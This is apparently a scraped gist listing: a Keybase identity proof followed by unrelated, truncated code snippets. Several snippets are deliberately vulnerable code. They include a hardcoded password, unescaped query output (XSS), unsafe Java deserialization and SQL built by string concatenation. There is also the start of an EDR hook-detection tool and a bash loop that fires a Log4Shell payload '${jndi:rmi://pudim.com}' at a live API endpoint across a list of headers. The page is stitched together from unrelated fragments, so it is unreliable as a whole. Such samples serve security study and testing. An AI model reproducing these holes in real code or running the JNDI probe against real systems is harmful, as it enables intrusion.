I hereby claim:
- I am 6a6f6a6f on github.
- I am bizarrenull (https://keybase.io/bizarrenull) on keybase.
- I have a public key ASDqB3wbbFYaRHTTTh_E9RzWggjwNvYL4oqyjOKFrso9Hgo
To claim this, I am signing this object:
| colourful: true | |
| filekinds: | |
| normal: {foreground: "#F8F8F2"} | |
| directory: {foreground: "#8BE9FD"} | |
| symlink: {foreground: "#BD93F9"} | |
| pipe: {foreground: "#6272A4"} | |
| block_device: {foreground: "#FF5555"} | |
| char_device: {foreground: "#FF5555"} | |
| socket: {foreground: "#44475A"} |
| var passwd = Encoding.Default.GetBytes("s3nh4_s3g5r4"); | |
| var givenPasswd = Encoding.Default.GetBytes(Console.ReadLine()); | |
| if (passwd.Equals(givenPasswd)) | |
| { | |
| Console.WriteLine("oh not :("); | |
| Environement.Exit(0); | |
| } | |
| Environement.Exit(-1); |
| def render_string(self, s): | |
| self.response.out.write(s) | |
| def get(self): | |
| message = f"Sorry, no results were found for {self.request.get('query', 'empty]')}." | |
| self.render_string(page_header + message + page_footer) | |
| # ... |
| public class Person implements Serializable { | |
| private String firstName; | |
| private String lastName; | |
| //... | |
| } | |
| FileInputStream fileIn = new FileInputStream("personSerialized"); | |
| Person person = (Person) new ObjectInputStream(fileIn).readObject(); |
| fun validateUser(username: String, password: String): Boolean { | |
| // ... | |
| val sql = "SELECT COUNT(*) FROM USER WHERE USERNAME = '" + username + "' AND PASSWORD = '" + password + "'" | |
| val rs = statement.executeQuery(sql) | |
| // ... | |
| val result = rs.getInt(1) > 0 | |
| // ... | |
| return result | |
| } |
| using System; | |
| using System.Runtime.InteropServices; | |
| /* References | |
| * 1. https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions | |
| * 2. https://github.com/Mr-Un1k0d3r/EDRs | |
| */ | |
| namespace SharpHookCheck | |
| { |
| #! /usr/bin/env bash | |
| TOTAL_BLOCKED=0 | |
| while IFS="" read -r HEADER || [ -n "$HEADER" ]; do | |
| RESPONSE=$( | |
| curl --silent "https://8i17duelvl.execute-api.us-east-1.amazonaws.com/dev/pets" \ | |
| -H "$HEADER: \${jndi:rmi://pudim.com}" \ | |
| -H "Content-Type: application/json" \ | |
| -o /dev/null -w "%{http_code}" | |
| ) |
| Referer | |
| X-Api-Version | |
| Accept-Charset | |
| Accept-Datetime | |
| Accept-Encoding | |
| Accept-Language | |
| Cookie | |
| Forwarded | |
| Forwarded-For | |
| Forwarded-For-Ip |
| Referer | |
| X-Api-Version | |
| Accept-Charset | |
| Accept-Datetime | |
| Accept-Encoding | |
| Accept-Language | |
| Cookie | |
| Forwarded | |
| Forwarded-For | |
| Forwarded-For-Ip |
I hereby claim:
To claim this, I am signing this object: